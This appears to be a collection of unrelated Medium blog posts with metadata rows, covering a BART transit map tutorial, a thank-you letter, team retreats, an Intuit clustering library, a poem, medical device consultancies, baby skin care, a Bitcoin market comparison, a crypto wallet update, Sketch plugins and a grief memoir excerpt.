function clearMarker(marker) { map.removeLayer(marker); } function clearMarkers() { if (markers.length > 0) { markers.forEach(function(item) { clearMarker(item); }); markers = []; } }
Finally, we need buttons for clearing the markers and to call the showMarkersForEtd function, so we’ll add these in the group with the Show Stations button. This is what it should look like now…
p button(onclick='clearMarkers()') Clear Markers button(onclick='showMarkersForStations()') Show Stations button(onclick='showMarkersForEtd("YELLOW")') Show Yellow
Our new button is going to call the function to show the markers for the YELLOW line. Try it out, and this time click on one of the flags. You should see something like this:
Irregular clip for article only, actual image will be the full map.
To finish up, we just add more buttons:
p button(onclick='clearMarkers()') Clear Markers button(onclick='showMarkersForStations()') Show Stations button(onclick='showMarkersForEtd("YELLOW")') Show Yellow button(onclick='showMarkersForEtd("RED")') Show Red button(onclick='showMarkersForEtd("BLUE")') Show Blue button(onclick='showMarkersForEtd("GREEN")') Show Green button(onclick='showMarkersForEtd("ORANGE")') Show Orange
This will show the stops for each color line.
WRAP-UP
In this exercise we:
Reviewed GTFS and GTFS-RT.
Reviewed the data provided by the BART API for stations and for ETDs.
Built a very simple Express.js app and imported the TomTom SDK.
Displayed the TomTom map and showed the locations of stations with just a few lines of code.
Built a system for showing the estimated time of departure (ETD) for BART stops.
You can extend this app by adding any number of criteria you wish to the Boolean function used in the showMarkersFiltered function. The sample application includes a method for showing all items within a selected time period. Combine that with the color to see where you can catch the yellow line in the next 10 minutes. If you’d like to add advisory, schedule, or route information, you can get that information from other APIs athttp://api.bart.gov/docs/overview/index.aspx.
For more information on the TomTom APIs, use the Documentation menu on the TomTom Developer Dashboard at https://developer.tomtom.com/.
This article originally appeared on https://developer.tomtom.com/blog. The original author is Mike Baker. | https://medium.com/tomtom-developers/real-time-bart-commute-mapping-part-2-building-a-web-map-71a651eac5e7 | ['Bre Teiko'] | 2020-11-19 00:32:08.583000+00:00 | ['Boolean', 'Mapping', 'Web App Development', 'JavaScript', 'Gtfs'] |
A Gift Overdue | First of I love to send the thank you letter to my friend and my teacher assistant. I mentions following things in letter.
you are always available for me when I need help in my counsling. You always made my mind to get involved in new technologies. You have continuously motivated me to do study properly and want from me to make extra efforts. You always have time for me to help in my assignments and projects throughout the degree.
I send it via whatsapp and waiting for his reply.
Then I made at thank you letter for my Teacher Sir qyum and I mention following things he done for me.
You have helped me a lot improving my Urdu handwriting.
Once you helped me in preparing for my speech.
You have improved my English grammar very well
You have made many medicine whenever I asked.
You have strong grip in your subjects and you are always ready to answer any kind of Questions related to the subjects.
You have motivated me many time when you felt that I have need.
You have give me free tuition and never demand for fee.
I am looking forward for their great reply and i am very excited. I feel very good to send them these letter because I did not do before. | https://medium.com/@syed-qulzam164/a-gift-overdue-3fdcf26c70a6 | ['Syed Qulzam Abbas'] | 2020-12-18 23:36:09.459000+00:00 | ['Amal Fellowship', 'Amal Academy', '164', 'Thanksgiving'] |
Offline Meeting vs Online Zoom Sessions | Digital exhaustion in corporate is real. Haven’t you heard about it?
Microsoft has conducted indispensable research among the users of Microsoft 360 products in 2020.
They found out that 40–45 minutes of a video conference call is a comfortable time for workers when they can keep the most focus. Calls that last from 45 minutes are causing difficulties in concentration. And calls from 1,5 hrs are immensely overwhelming and causing stress.
Even though during the pandemic time, most of the office workers were forced to work digitally, the approach stayed the same. We started to be clung digitally to our Zoom calls online meeting rooms because there was no way for productive discussion of current tasks.
Many workers were forced to attend long calls that were over 1 hrs last at least. So, basically, they’ve brought their office to their home.
Where it goes wrong and how we can help?
We think, that the solution lays in a different approach to the work-life balance.
FlockIn.me has created a way to avoid issues of digital and corporate exhaustion for many workers around the world allowing them to stay connected and productive. FlockIn offers workation and retreats that are great for independent teams and coworkers from one company or a startup. We put a lot of effort to create a chill and optimized environment for working, networking, re-charging, and re-charging.
FlockIn is always explicitly bound with the needs of any team. We fully understand the importance and take care of the following things on your retreat:
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By organizing team venus for every team we help more and more workers to achieve the perfect work-life balance, stay productive, and re-connect with their coworkers in a different environment, create new business connections and bring a lot of experience and memories back home. | https://medium.com/@flockin/offline-meeting-vs-online-zoom-sessions-7819b5bbeb59 | [] | 2021-11-10 13:07:21.473000+00:00 | ['Coworking Space', 'Coworking', 'Remote Working', 'Remote Team', 'Teamwork'] |
A New Intuit Open Source Release: RBHC — Recursive Binary Hierarchical Clustering | Intuit Software Engineer Ashwith Atluri is excited to launch RBHC — Recursive Binary Hierarchical Clustering. RBHC implements machine learning to accomplish recursive binary hierarchical clustering of data using Python. RBHC categorizes clickstream data — or other data — into a hierarchical cluster format. RBHC also provides statistics for each cluster and interactive visualizations of clustering trees, using d3.js library, on any web browser through a local web server.
RBHC, created by Intuit Software Engineer Ashwith Atluri, was designed to accomplish recursive binary hierarchical clustering of data. RBHC allows users to input specially-formatted data and get back a hierarchical cluster tree for analysis. Using machine learning, comprehensive statistics for each sub-cluster formed, and interactive visualizations, RBHC provides a good tool for anyone looking to analyze data, especially clickstream data, and derive useful inferences automatically from that data.
Ashwith wrote RBHC primarily in Python. RBHC applies K-Means algorithm to the initial dataset, creating a binary partition, after which RBHC uses chi square score statistic to find the feature (event) that was responsible for partition. The remaining clusters are further divided recursively, using the approach above, until the cluster size reaches one, or the silhouette score reaches the threshold value. Results for clustering are available in multiple ways. Once the library has been imported and the clustering function used, RBHC function returns a Python dictionary with a tree structure representing hierarchical clusters and information about all clusters. The file includes the following fields:
name = Name of cluster node (string); parent = Name of its parent node (string); size = Size of cluster (integer); children = Tree structure of subtree (List); clusterCreated = If clustering has been successful (Boolean).
Clustering statistics are stored as well, and stats for each sub-cluster are stored in a .json file with the following attributes:
ClusterId = Identifier of a sub cluster; L=Level; G=Number of clusters in that level counted left to right; Size = Size of cluster; Primary feature cluster created by = Name of feature which is responsible primarily for this cluster formation; Features chi score = Shows chi score of all features in that cluster; Stats on cluster by each feature = Stats of each feature in this cluster; Ids = All instances that are part of cluster and names are derived from first column of data file
The hierarchical cluster tree is also rendered in an interactive way, providing information for each cluster visually, using d3.js.
Clustering visualization using d3.js
Ashwith sees many potential use cases for RBHC, including its ability to help understand user clickstream behavior, and group users with similar behavior. He credits Intuit’s commitment towards open source as one of the primary reasons behind his decision to open source the project. “I felt that there was merit in open sourcing this project,” says Ashwith, “and Intuit’s processes for open sourcing helped me learn new skills.” | https://medium.com/intuit-engineering/rbhc-recursive-binary-hierarchical-clustering-eeda720a45b | ['Social Ac'] | 2020-09-15 19:50:36.247000+00:00 | ['Tech', 'Open Source', 'Software Development'] |
Lamentations of the Sentimentalists | https://pin.it/7cskINk
By the end of each day I take a long breath, wipe my forehead and express gratitude on how I prevailed. Life is like a whirlwind to the whimsical kind. Each twist, each turn so melodramatic, so enchanting, so exhausting.
To walk out in the sun is to be done with a skip in the step and a song in the head while you extend your hand out play with the leaves, feel the sunshine absorbing in your pores and a giddy smile making your jaws ache.
Sharing memories is important with the ones you hold dear to your heart and once they speak of times you hadn’t witnessed you listen with a vivid imagination, a younger them, how silly, how fun but beware you must remember to listen as they speak and not let your mind wander too far. Hold their gaze and smile as they do and feel the fluctuations in the sentiments with which they speak of each event. You’d feel so full by the end like you’ve eaten a whole pie just by yourself.
And in the evenings, the uncertain time just after the sunset you would probably sit quietly by yourself. Breathe in all that you saw and breathe out all that you’ve imbibed in. You’re far from being impervious to your surroundings.
At times, quite often perhaps you’d shudder at how cruel and unkind certain sentiments could be or lack thereof. You would want to unfold the mysteries behind them but it would give you chills. It would scare you so. You would run and cry at home by your own. But sometimes you might not find a place to weep so the sunshine would turn gray and you’d shun the idea of intimacy and you’d fold your arms around your chest each time anyone comes near.
If you find yourself at the depths of despair, you would probably eat a whole pie by yourself and find comfort in solitude where you’d look for sympathisers in material things.
If you’ve been bright once, you are allowed to be a wet blanket too. You are allowed to curse at sunshine and turn your face away from the sun. You’re allowed to spend hours at end going over the miseries. You’re allowed to make songs and sing in vain.
And once you’ve dried out you would find yourself laughing in the middle of the tears, dancing around at nothing in particular, finding your voice and your smile and the sparkle in your eyes that never truly left. Just like the Sun. | https://medium.com/an-idea/lamentations-of-the-sentimentalists-d9504674366f | ['Uswa S Musings'] | 2020-12-13 03:03:18.129000+00:00 | ['Sentimentos', 'Self Love', 'Empathy', 'Self Improvement', 'Memoir'] |
Top Medical Device Consulting Companies | Top Medical Device Consulting Companies
Medical equipment manufacturing is opening new doors for expansion while addressing several medical professional needs across the world. This year’s medical device industry trends reflect the relentless pace of transformation, change, and growth impacting nearly every aspect of the industry. Whether it’s the growing specialization in sustainability, the continued growth of products, the increase of ingestible devices, or regulatory changes, medical device makers are gearing up to navigate a dizzying array of opportunities and challenges facing the industry.
With an increase in the number of chronic diseases, an aging global population, gastrointestinal disorders, carcinoma diagnoses globally, and therefore the shift toward preventative strategies in healthcare to tackle disease progression, ingestible medical devices is witnessing an eternal growth trajectory. At the same time, there’s also a surge in VR-based medical equipment immediately, resulting in a rise within the industry’s investment in reformed versions of VR devices to fuel further growth.
According to several other market reports, the inflow for revenue for medical devices in 2020 will cross the previous year’s numbers. Alongside, the FDA has recently uncovered a faster pathway for the approval of medical devices and has been working to solidify their compliance strategies.
At this juncture, there’s a significant kind of medical device manufacturing service/consulting companies entering the landscape with a collection of advanced and insightful offerings. MedTech Outlook has compiled this edition to assist the medical device manufacturing fraternity in strengthening its infrastructure and simultaneously enabling growth. The list comprises prominent consulting companies within the industry that solve medical device manufacturing challenges. Besides, the magazine also includes insights from thought leaders within the sector on the industry trends, best practices, recent innovations, and their advice for aspiring CIOs and CXOs.
Top Medical Device Consulting Companies
A consulting firm that marries knowledge of the medical device market and corporate culture in the US, the latest FDA regulations, and the clients’ unique needs to help Japanese medical device companies thrive in the US market
globizz.net
Hull Associates offers strategic market access and reimbursement consulting to enable pharmaceutical, medical device, and diagnostics organizations develop targeted strategies for their products such that they are recognized by payment systems and readily adopted by healthcare providers. Hull Associates has served over 350 companies across all disease areas, and among 22 major global markets. Since its inception, Hull Associates has worked on almost every major innovative device produced in the medical industry, such as the percutaneous heart valves, robotic surgical systems, and the latest in vitro diagnostics
hullassociates.com
Assists medical device manufacturing startups with every phase of their product development process. The company adopts a unique, phased approach to structure the product development process in a financially viable manner. It starts with the close integration of Ingenarious’ team with that of the clients’ to understand their vision and requirements. There upon, the company works to identify the most crucial needs in materializing their ideas and vision. With this phased approach, the company offers startups end-to-end visibility about the scope of product development while reducing the risks in making financial and business decisions. Furthermore, in several instances, Ingenarious has even gone the extra mile supporting startups in applying for grants to raise capital for product development.
www.ingenarious.com
Irwin & Associates specializes in diverse areas, such as project management, quality system creation, user documentation, quality engineering, verification & validation, risk management, design control, R&D to production transfers, process development, biocompatibility, and microbiology/sterilization validation and more. The team assists the company in setting up a document control system, a training program, a quality manual, and the appropriate procedures required to get them off the ground to conduct their initial studies and launch their products. For larger organizations, Irwin & Associates provides design control, process development, project management, regulatory, and technical writing to propel their projects forward.
www.irwinassociatesinc.com
JALEX Medical offers product development, design engineering, regulatory affairs, and quality management solutions along with the expertise of its biomedical engineers to support clients in the medical device industry through every stage of the development process.. The company provides step-by-step directives to startups to take their product from ideation to fruition. It works on the process of 3D CAD modeling, finalizing the materials and the manufacturing process, and then prototyping the product for client approval. It further works on the verification and validation process, after which it helps clients acquire clearance on their products to go to market. JALEX Medical works as an extension of the clients’ engineering and regulatory department while supporting them throughout the roll-out process
www.jalexmedical.com
Lachman Consultants provides expert compliance, regulatory affairs, and technical consulting services for the pharmaceutical and allied health industries around the world
lachmanconsultants.com
Paladin Medical®, Inc. offers expertise based on over 40 years of experience in the medical device industry to help products comply with FDA regulations and enter the U.S. market with the least difficulty. The company specializes in a full range of medical product regulatory, clinical, and technical contract services for FDA and international premarket applications as well as support to regulatory compliance for the medical device regulations. Paladin Medical®, Inc. stays on the cutting edge of both biomedical engineering of new medical products and the regulatory science that goes with getting those products to the marketplace. The company typically caters to start-up device manufacturers or the established companies with emerging new technologies
paladinmedical.com
RJR Consulting helps its clients expand their global geographical presence. It does so by providing them regulatory supportand assisting them in developing a new market in the targeted country, without the need for them to set up an office locally.
www.rjrconsulting.com
Strategy Inc. delivers investment and market strategy due diligence for changing the standard of care medical technology. Founded in 2000, a team of proven medical device and healthcare market research experts combine in-depth primary research findings with traditional and innovative analytical tools to provide the probability of successful commercialization. Entities with a platform technology where prioritization of the indication for use with the highest probability to succeed with the maximum return is a specialty. Globally focused, 46% of business is international, providing services to foreign entities seeking to US launch their technology. Clients include emerging companies, financiers and enterprise companies with technologies in all stages of product lifecycle
www.strategyinc.net
Covance
Covance Inc., the drug development business of LabCorp®, is the world’s most comprehensive drug development company, dedicated to advancing healthcare and delivering Solutions Made Real®. Our unique perspectives, built from decades of scientific expertise and precision delivery of the largest volume of drug development data in the world, along with our innovative technology solutions, help our clients identify new approaches and anticipate tomorrow’s challenges as they evolve. Together with our clients, Covance transforms today’s healthcare challenges into tomorrow’s solutions. We also offer laboratory testing services to the chemical/agrochemical industries and are a market leader in toxicology services, central laboratory services, discovery services and a top global provider of Phase III clinical trial management services | https://medium.com/@medtechoutlook/top-medical-device-consulting-companies-bfdade325996 | ['Medical Tech Outlook'] | 2021-07-06 03:14:29.759000+00:00 | ['Tech', 'Medical Devices', 'Technologies'] |
Baby Skin Peeling — Understanding Why This Happens And How To Treat It | Baby Skin Peeling — First-time parents often experience different emotions once they finally get to hold their bundles of joy. There can be excitement, happiness and the shadow of concern about ensuring that their little ones grow up healthy and active. One of the concerns new parents face is seeing a baby’s newborn skin start to peel.
Is Skin Peeling Normal?
Newborn baby skin peeling is an entirely normal scenario since newborns tend to lose their skin’s outer layer in the first two to three weeks after being born. This is because the exposure to dry air is a completely different environment from the womb. Babies then produce a new layer of skin cells that is tougher and more resilient. When a newborn’s skin starts to peel, do not panic. This is quite normal.
Vernix
While a fetus is in the womb, it is surrounded by amniotic fluid which acts as a protective barrier. Once a fetus has reached 20 weeks, a thin layer of wax forms on the outside of the skin which is referred to as the vernix.
Although researchers are not sure why this layer forms, theories include the following:
It protects against bacteria during birth.
It prevents babies from absorbing too much fluid while inside the womb.
It functions as a natural lubricant during childbirth.
It protects the newborn’s skin during and after delivery. Other Possible Causes of Dry Peeling Skin
The vernix falls off completely a few days after birth. Babies are now exposed to dry air which, because of their sensitive skin, can cause dryness and baby skin peeling. This is not a painful process.
Other Possible Causes Of Dry Peeling Skin
Aside from the above, there are other reasons why newborn skin may start to peel [1].
There are instances when baby skin peeling is triggered because of atopic dermatitis, more commonly known as eczema. Babies who have eczema may have dry, red, and itchy patches on their skin. Typically, this skin condition does not immediately appear directly after birth. What causes eczema in the first place is not yet known, but exposure to certain irritants, such as detergents and shampoos, can trigger it. Consumption of soy, dairy and wheat products may also worsen eczema. Eczema often runs in families.
Ichthyosis
Ichthyosis is another possible cause for scaly patches to appear. This skin disorder is best characterized as flaky and itchy skin with skin shedding. This is diagnosed by a doctor based on a physical examination and a family’s medical history. A skin or blood sample may be required. This skin condition does not have a cure, but the dry skin can be alleviated with regular application of a moisturizing cream.
Psoriasis
Another possible cause for baby skin peeling is psoriasis. Psoriasis is a chronic autoimmune disease that may cause dry, scaly and red patches as well as flaking. A psoriasis outbreak can be triggered by stress, medications, skin damage and infection.
Also referred to as seborrheic dermatitis, this skin condition includes thick, yellow patches on the eyebrows, armpits, groin and neck, but it often appears on the scalp, hence the term cradle cap. This condition usually appears when there is the presence of fungal or yeast infection that grows uncontrollably. There are also instances where maternal hormones cause this condition to occur while the baby is in the womb.
How To Manage Baby Skin Peeling
The peeling of skin in babies is a common occurrence during the first few weeks. Parents often look for treatments for conditions such as baby acne and cradle cap. Here are a few that can be used to bring comfort to little ones.
Use moisturizer
If a little one has baby feet peel or peeling of other parts of the body, this is likely caused by dry air and a lack of moisture. When peeling occurs, the skin will become dry and scaly. It is essential to keep a baby’s skin moisturized regularly to keep inflammation and irritation at bay. In order to treat a baby’s sensitive newborn skin, look for an organic, hypoallergenic moisturizer. Apply it twice a day through massaging as this will help remove dry skin and allow the moisturizer to penetrate the skin deeply.
Give shorter and warmer baths
Maintaining moisture in a baby’s skin is essential. However, bathtimes should be short and warm. Bathing a baby can help remove skin peeling, but if the bath time is too long, it will remove the natural oils in the skin. This will only exacerbate skin problems instead of helping alleviate them. A baby’s bath time should be around five to ten minutes. Use warm water and mild baby shampoo and soap without any fragrance. Choose a soft cloth to help wash the skin. For foot odor, consider using an organic baby wash. After washing, moisturize. If feasible, use looser fitting socks.
Install a humidifier
An air-conditioner in the nursery will rob the moisture from a baby’s skin. This can make any potential skin conditions, such as eczema, worse. Installing a humidifier in a baby’s room can help add moisture to the air, which can help improve a baby’s skin condition.
Hydrate your baby
Another tip to manage baby skin peeling is to keep babies hydrated through breastfeeding or bottle feeding. This will help a baby stay hydrated which can prevent skin peeling.
Choose lukewarm water
It is quite normal for newborn babies to have peeling skin after birth. Once the “new” skin appears, they will be better protected against the dry air. Opt for lukewarm water rather than hot baths as high temperatures can strip the skin of natural oils.
Skip bubble baths and harsh soaps
Bubble baths and harsh soaps will rob a little one’s skin of its moisture, exacerbating any skin conditions. By using organic mild baby shampoo, babies will not absorb harmful chemicals which can cause irritating any skin conditions. The same goes for baby wipes. Organic baby wipes aid in keeping a baby’s most sensitive areas clean and healthy.
Choose appropriate baby oil
Apply baby oil to lock in the moisture on a baby’s skin, especially on dry peeling skin. One particular oil that can be used is olive oil as it is a natural oil that is gentle on the skin. Apply this oil on a little one’s skin after a bath to lock in the moisture, or use an appropriate moisturizer for a baby. Consider using a mild moisturizer made of organic ingredients.
Protect babies against the cold
Cold weather can be a culprit for a baby’s dry skin. Bundle up your little one when going outside during winter including socks, mittens and a cap to protect against the cold.
Avoid harsh chemicals
There are different types of detergents being sold today. Avoid scented detergents when washing an infant’s clothes. Artificial scents often include harmful chemicals, ingredients and allergens. These chemicals can worsen skin irritations as peeling skin and diaper rash.
Choose soft clothing
Reduce skin irritation and inflammation in babies with dry skin with loose clothing. This is important especially when a little one has skin eczema or the weather is warm. Tight clothing can trap moisture on the skin which can worsen pre-existing skin conditions or cause rashes.
Use over-the-counter or prescription medications
A pediatrician may recommend or prescribe medications to alleviate dry and peeling skin when the above steps do not work. Follow the dosage correctly to speed the healing process.
Natural Remedies For Baby Peeling Skin
Regardless of whether a newborn’s head or baby feet peel, finding the cause of discomfort can be helpful with both treatment and prevention. Lessen the itching and dryness of newborn skin with these home remedies. They may be used as part of a skin care routine for a baby’s foot peel and overall skin maintenance.
Milk and turmeric
Mix a small amount of turmeric and milk to create a paste. Apply this mixture on a little one’s face, hands and feet, and leave it until it has dried. Remove afterward using a soft wet cloth. Follow this up with a short bath using warm water and a mild organic baby wash.
Another possible natural remedy that may help with a baby’s peeling skin is applying aloe vera gel on the affected areas. This soothing gel can help alleviate rough and dull skin. This can come in handy when a baby feels discomfort due to itching. Apply a small amount of the gel directly on the dry patches of skin.
Almond milk
Mothers who breastfeed may want to drink almond milk. Almond milk is rich in vitamin E which can help with a baby’s overall skin health. This can also speed the recovery process especially when a little one’s skin is peeling or has some form of irritation.
Fiber
Another natural remedy to treat a baby’s peeling skin is for breastfeeding mthers to eat more foods with fiber. Fiber and protein are useful in repairing any skin damage. When breastfeeding, babies can absorb essential nutrients through the milk.
Baby feet peel as a typical reaction to the skin is adjusting to its new environment. This type of peeling does not cause discomfort. If it is accompanied by other symptoms such as itching, red bumps or fever, contact a medical professional.
Baby Skin Peeling Resources:
[1] US National Library of Medicine, National Institutes of Health; Skin care for your baby, March 2007. | https://medium.com/@ryan_monahan/baby-skin-peeling-understanding-why-this-happens-and-how-to-treat-it-794ecc463cf6 | ['Ryan Monahan'] | 2019-03-18 15:54:10.138000+00:00 | ['Skincare', 'Newborn', 'Baby'] |
Is the 2018 Bitcoin bear market like the one in 2014? | When comparing them, we should consider two things — fundamentals and technical analysis.
Let’s start with the fundamentals. For that, we need to look back at the year 2013.
Few people realise but in 2013 we saw 2 bubbles burst, one in April and the other one that started in December. Let’s look at the second one, though, as it was what can be called ‘the longest winter ever seen in Cryptoland.’ Many people are scared that this 2018 winter will be as long as the one in 2013, but hold on, let’s look at the facts.
In November that year, we saw an almost 6x increase in the price of Bitcoin, from $200 to $1,150 (does this not look similar to what we saw in late 2017?). Many believe that the “pump” was due to the “Willy” bot that was operated by Mt. Gox.
What normally follows after such an increase is a correction of course. And that’s precisely what happened. The Bitcoin price had dropped to $300 by October 2014.
But what triggered this correction?
To start with, the Chinese government outlawed the use of cryptocurrencies by financial institutions right before the price reached its peak. Shortly after, on the 7th of February, Mt. Gox got hacked and lost over 700,000 BTC.
It was an explosion. Keep in mind that Mt. Gox wasn’t a small exchange. Over 60% of the global BTC transactions came through it. The impact of this is hard to overestimate.
This, combined with the imminent correction, led to the snowball effect, which caused a 36-month long price downfall. Not many positive news were flying around back then. Cryptocurrencies were far from mainstream. No ICOs were valued at $3 billion. Not many exchanges were operational. These were the dark days for blockchain and many people, quite naturally, lost their faith and sold their bitcoins.
Now, return to the present.
Pause for a minute and ask yourself, ‘Do I really believe in the future of Bitcoin, blockchain and smart contracts?’ If the answer is no or you’re hesitating, then you may want to think about selling your coins and investing in something “safer” like government bonds. If you do believe, manage your portfolio, avoid stupid reckless moves, and watch your portfolio grow with exuberance.
You choose… to believe or not to believe…
A report from McKinsey & Company says smart contracts can save businesses more than $50 billion in business-to-business transactions.
The respected research firm Gartner Group projects that 25% of global organisations will use smart contracts by 2022.
A report from Deloitte suggests that smart contracts can save the mortgage, investment banking, and insurance industries as much as $39 billion every year.
According to Forbes, credit card fraud costs U.S. merchants an estimated $190 billion per year. Smart contracts tied to individuals on the blockchain could virtually eliminate such fraud.
Keep in mind, this doesn’t mean that all the “sh*tcoins” will appreciate wildly in the coming months. Many, without a doubt, will die out. Many companies will implement their own blockchain/smart contracts solutions. There is a misunderstanding between some people thinking that when Banks implement their own blockchain/smart contracts solutions will drive the price of a certain coin up. Which is false. However, it will definitely show that blockchain/smart contracts have value. That’s why you should constantly keep an eye on your portfolio. Be sure that you invest in projects that are constantly developing and are here to stay.
Eventually the price correction will stop and we will start going up. To help you see the big picture, remember Bitcoin’s price in 2014 corrected as much as 85%, down to $160. Within the next 3 years, however, it increased 11,700%, up to $20,000 in December, 2017. In 2018, we’ve seen 70% correction so far. It’s very likely to dip down even more, as it’s clear that both bear markets (2014 and 2017) are following very similar patterns.
Therefore, let’s make some rough calculations. And these are not predictions.
Let’s say we eventually reach $3K per Bitcoin this year, thus, finishing a 85% correction, just as we did back in 2014. At this point, we’ll be sitting at around 120B market cap. If, theoretically, this is the end of the bear market and we see a reversal, we may be up for at least 10,000% price increase for Bitcoin within 3 to 5 years. This means, Bitcoin’s price can reach up to $350,000 per Bitcoin by the end of 2023. At this point, the market cap will be sitting at around 15 trillion dollars. It’s worth mentioning that the current total capitalisation of the stock market is about $80 trillion dollars.
No one knows exactly when and at what price we will hit the bottom. That’s why we are monitoring the BTC movement 24/7. Because we have to not only save our capital but also increase it. Once the downtrend is over and we have accumulated enough BTC, the Bull Run will be fabulous!
Keep an eye on our channel, we will publish a post on comparing the Technical Indicators between the two bear markets.
In the constantly and rapidly changing world of blockchain, it can be a struggle to stay ahead of the game. Follow Bitcoin Compass on Telegram (t.me/bitcoincompassofficial) for cryptocurrency trading and investing signals, Bitcoin updates, blockchain content, and more. | https://medium.com/bitcoincompass-io/is-the-2018-bitcoin-bear-market-like-the-one-in-2014-3cf78d97b4c7 | ['Bitcoin Compass'] | 2018-10-19 14:48:35.283000+00:00 | ['Crypto', 'Blockchain', 'Cryptocurrency', 'Cryptocurrency Investment', 'Bitcoin'] |
Qbao Network has launched V4.0 on Feb 21st, 2019 | Qbao Network Wallet is a smart crypto wallet with many functionalities. To improve the product and to provide better user experience, Qbao Network wallet development team keep an intensive updating schedule. The new features of Qbao Network V4.0 are as follows,
Developed a built-in exchange enabling users to purchase QBT more conveniently.
Qbao Network has integrated two DEXs(decentralized exchanges)last year by adopting protocols of Kyber Network and Loopring. The disadvantages of DEXs are apparently costing gas and slow transaction speed. To provide better user experience, Qbao Team started to develop a built-in exchange at the beginning of 2019. Built-in centralized exchange is the main feature of Qbao Network V4.0. It currently supports three trading pairs, including BTC/QBT, ETH/QBT, QTUM/QBT. It is one-way trading. In order to trade QBT in the centralized exchange, users need to top up their cryptocurrencies in Qbag.
The top up instructions are as follows,
1) Click “Qbag” on the application’s home page.
2) Select BTC/ETH/QTUM on “Qbag” page.
3) Click “Recharge” to enter “Recharge” page.
4) Input “Amount” and click “Recharge” to complete the top up.
Once your Qbag was topped up, you can start your trading in the built-in exchange.
1) Click “Discover” tab to enter “Discover” Dashboard.
2) Click “Exchange” tab on the left.
3) Input either “Withdraw amount” or “Deposit Amount” and click “Exchange” to complete the trade.
Then you will receive a message on “Social” dashboard and you can check the relevant records of your trading on “Transaction” page of your Qbag.
2. Optimized the interface of Qbag to make the built-in exchange more accessible.
3. Modified the VIP ranking criteria and optimized the VIP ranking interface.
The previous VIP ranking criteria of Qbao Network was the total digital asset amount of each user. To encourage users to hold QBT in long term and to reward the loyal QBT holders, Qbao Foundation decided to change the criteria and applied the new VIP ranking on Qbao Network V4.0.
Welcome go to App Store or Google Play to download Qbao Network wallet V4.0.
Thank you all for your supports. | https://medium.com/@Qbao2339/qbao-network-has-launched-v4-0-on-feb-21st-2019-f1e243499744 | [] | 2019-02-25 03:06:52.269000+00:00 | ['Bitcoin', 'Wallet', 'Crytocurrency', 'Cryptocurrency Investment'] |
5 Best Sketch Plugins for UX/UI Designers in 2018 | In the previous article, we have introduced the basic tutorials and resources of Sketch. Besides the basic feature of vector design, plugins are unique Cheats that make Sketch powerful. I summarized the five best Sketch plugins for you. Now have fun with Sketch!
1. Marketch
After finishing mockups, we often need to tell the front-end developers, the concrete size of pictures, the text size and spacing, Marketch will make you full of surprises.
Marketch is a Sketch 3 plug-in for automatically generating HTML page that can measure and get CSS styles on it, enabling super practical features such as dynamic annotation, unit conversion, and dynamic slicing.
It can help designers not only to reduce the burden, but also to check the layout parameters of all the elements, even the CSS code. In addition, this plugin can generate HTML locally and you don’t have to worry about security and privacy issues.
Download: https://github.com/tudou527/marketch
Tutorial:
Step 1: Run marketch -> Export as Zip File
Step 2: Name and export it.
Step 3: Unzip the zip and run the Html file to check the effect in the browser
Demo: http://tudou527.github.io/marketch/
2. Mockplus
It is well known that Sketch is a vector design software. If we want to continue to make interaction design and team collaboration, it is recommended to install the Mockplus plugin in Sketch. Once you completed design in Sketch, you can export it as an MP file and make Sketch prototyping in Mockplus, which allows designers collaborating and adding annotate with team members.
Download: https://www.mockplus.com/download
Tutorial:
Step 1: Download free Sketch plugin. Decompress the zip file and double-click .sketchplugin file in it.
Step 2: When finished your design, select “Plugins” — “Mockplus” — “Export project files”.
Step 3: Adjust the settings of your project on the following interface to select the Artboards you need. Besides, you can choose the type of project and the size of the exported image. After adjusting these settings, click “Export” to export content from Sketch.
3. Content Generator Sketch Plugin
When we design some pages we may need to fill the data to improve the fidelity. The most common is to fill a variety of different avatars which are best to be different with each other. Don’t worry, this plugin will be able to quickly achieve this effect. You just need to select all the needed elements, it will randomly select and fill the right Avatar.
Besides the image, the plugin can also randomly generate user name, mailbox and phone number. That could greatly improve efficiency to make the contact list.
Download: https://github.com/timuric/Content-generator-sketc...
It is worth mentioning that this kind of data fills can also be implemented by the repeater in Mockplus.
If there are some image components, it will automatically fill the image components in the grids with these pictures. So you don’t have to find other materials. These pictures have many types, such as placeholder image, avatar, character portraits, design, business, etc. If there are some texts, you can set “auto-fill type” of it, such as “date”. Then, the text will become a random date in all grids.
4. Rename it
During the design, we often need to modify the graphics name in batches. The names are preferable to reflect the layer properties and parameters, you can quickly and easily find the desired layer. Rename it will be your great assistant.
Download: https://github.com/rodi01/RenameIt
Tutorial:
Step 1: Select the elements need to be named in batches
Step 2: Select Plugins> Rename it, naming the rules in the Pop-up window. The data % W% H are variables, and they will be automatically filled according to the image size. What we only need to do is only set the rules and click OK.
Video:
1) Extend the layer name: Enter “+” and the text you want to add. (e.g: + button)
2) Name the layer order: Enter “% N” to name the layer order with number suffix. “% N” is the number with the reverse order. (e.g item% N)
3) Retain and move the original layer name: Enter a new layer name, use the “*” instead the original layer name. (e.g big * button)
4) Add the length and width of the layer: Enter “% W” and “% H” to add the length and width of the layer. (e.g rectangle% w or rectangle% w x% h)
5. IconFlower
This plugin is very suitable for making the popular multi-icon background, you do not have to mechanically drag the icon one by one to the different parts of the canvas, but only need to put all the materials on a canvas, select all and click IconFlower, it can automatically arrange all your icon.
Download: https://github.com/avadhbsd/IconFlower
Tutorial:
Step 1: Install the IconFlower plugin in Sketch.
Step 2: Create an Artboard, and place loads of icons/objects/layers on the artboard. You can use Iconjar to drag the layers, the more the better.
Step 3: Select all icons/objects/layers you want to arrange.
Step 4: Run the plugin.
Conclusion:
The above are the 5 best Sketch plugins I recommend for everyone. Armed with these powerful Sketch plugins, I believe you can perform better on design. Of course, if you have a better recommendation, please leave a comment in the comments. | https://medium.com/dsgnrs/5-best-sketch-plugins-for-ux-ui-designers-in-2018-b7db09e52d30 | ['Amy Smith'] | 2017-10-13 09:15:08.091000+00:00 | ['UX Design', 'UX', 'Sketch', 'UI Design', 'UI'] |
The Feeling of (this) Christmas | I keep his blanket folded up next to me in bed. I find myself smelling it. I snuggle with it, gripping his stuffed animals, petting them. I’m desperate to feel close to him and afraid of the day when I can’t smell him anymore.
The memories are piercing.
I try to use past tense, but that seems wrong. Foreign.
“He is right there … he’s right …” I trail off in my emotions.
The emotions. So raw.
A scent of him lingers in the air.
I cling to the memories like a kid holding her most prized Christmas treasures. Oh the memories.Grateful.
Then I think of all the memories we will never make. Oh the memories. Not grateful.
After his passing I spent the first week mostly in bed; numb to the reality and gripping in agony. Then I went (and stayed) into manic action, desperate to keep myself busy.
